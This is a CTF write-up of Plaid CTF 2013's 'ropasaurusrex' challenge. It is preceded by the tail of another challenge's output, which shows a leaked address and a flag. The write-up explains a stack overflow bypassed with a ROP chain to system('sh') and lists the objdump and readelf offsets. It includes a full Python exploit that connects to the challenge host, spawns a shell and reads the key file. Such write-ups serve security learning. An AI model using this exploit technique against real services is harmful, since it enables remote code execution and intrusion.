Would you like to: 
1) File a flight plan
2) Open or Close a flight plan
3) List flight plans on file
4) Get airport weather information
5) Submit a PIREP
6) Quit

> 
Please enter coded PIREP: 
0x7f732a1a5680
> 
Please enter coded PIREP: 
'this_sexy86_n0t_mucho_2_$ay_:|\n'
The flag for the challenge is this_sexy86_n0t_mucho_2_$ay_:|

Monday, April 22, 2013

Plaid CTF 2013 - Pwnable 200 - ropasaurusrex - [Team xbios]

ropasaurusrex is a 32-bit, dynamically linked, stripped executable. The vulnerability is straightforward, read() function can take 256 bytes of data. 144 bytes will overwrite the saved EIP. The binary is armed with NX, so we have to use a ROP payload for successful exploitation. Along with the binary, we were also given the libc library used in the remote system.

Here is the idea of exploit:

[*] Dereference GOT address of __libc_start_main
[*] Calculate the offset between __libc_start_main and system function using the given libc library file
[*] Add this offset to the dereferenced GOT address, then jump to this address, resulting in calling system() function
[*] Pass the address of string "sh" to the system() function

Finding Offset:
[ctf@renorobert Plaid]# objdump -T ./libc.so.6-f85c96c8fc753bfa75140c39501b4cd50779f43a | grep system
000f5470 g    DF .text 00000042  GLIBC_2.0   svcerr_systemerr
00039450 g    DF .text 0000007d  GLIBC_PRIVATE __libc_system
00039450  w   DF .text 0000007d  GLIBC_2.0   system
[ctf@renorobert Plaid]# objdump -T ./libc.so.6-f85c96c8fc753bfa75140c39501b4cd50779f43a | grep __libc_start_main
00016bc0 g    DF .text 000001b5  GLIBC_2.0   __libc_start_main
Finding GOT address:
[ctf@renorobert Plaid]# readelf -a ./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d | grep __libc_start_main
08049618  00000307 R_386_JUMP_SLOT   00000000   __libc_start_main
     3: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)
Below is the exploit:
#!/usr/bin/env python

import struct
import socket

ip = "54.234.151.114"
port = 1025

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

libc_start_main = 0x00016bc0
system = 0x00039450
got_libc_start_main = 0x08049618

payload  = "A" * 140
payload += struct.pack("<I", 0x080484b5) # pop ebx; pop esi; pop edi; pop ebp 
payload += struct.pack("<I", 0xaaa99164) # .bss for ebx, 0x08049628-0x5D5B04C4 

# load esi with the offset to system
payload += struct.pack("<I", (system - libc_start_main - 0x8)) 
payload += "JUNK"
payload += "JUNK"

# xchg eax,esi; add al,0x08; add dword [ebx+0x5D5B04C4],eax
payload += struct.pack("<I", 0x080483bb) 
payload += struct.pack("<I", 0x080483c2) # pop ebx; pop ebp
payload += struct.pack("<I", (got_libc_start_main + 0x0B8A0008)) 
payload += "JUNK"

# GOT dereference to read address of __libc_start_main
# add eax,dword [ebx-0x0B8A0008]; add esp,0x04; pop ebx; pop ebp
payload += struct.pack("<I", 0x080484de)  
payload += "JUNK"
payload += struct.pack("<I", 0x08048319) # 0xffffffff
payload += "JUNK"

# Call the system function as system("sh")
# call eax; mov eax,DWORD PTR [ebx]; cmp eax,0xffffffff; jne 0x8048478; add  esp,0x4; pop ebx; pop ebp
payload += struct.pack("<I", 0x080484db) 
payload += struct.pack("<I", 0x0804867f) # "sh" string from ".gnu.hash"

soc.send(payload + '\n')
soc.send('cat /home/ropasaurusrex/key\n')
print soc.recv(1024)

# you_cant_stop_the_ropasaurusrex
So the flag for the challenge is you_cant_stop_the_ropasaurusrex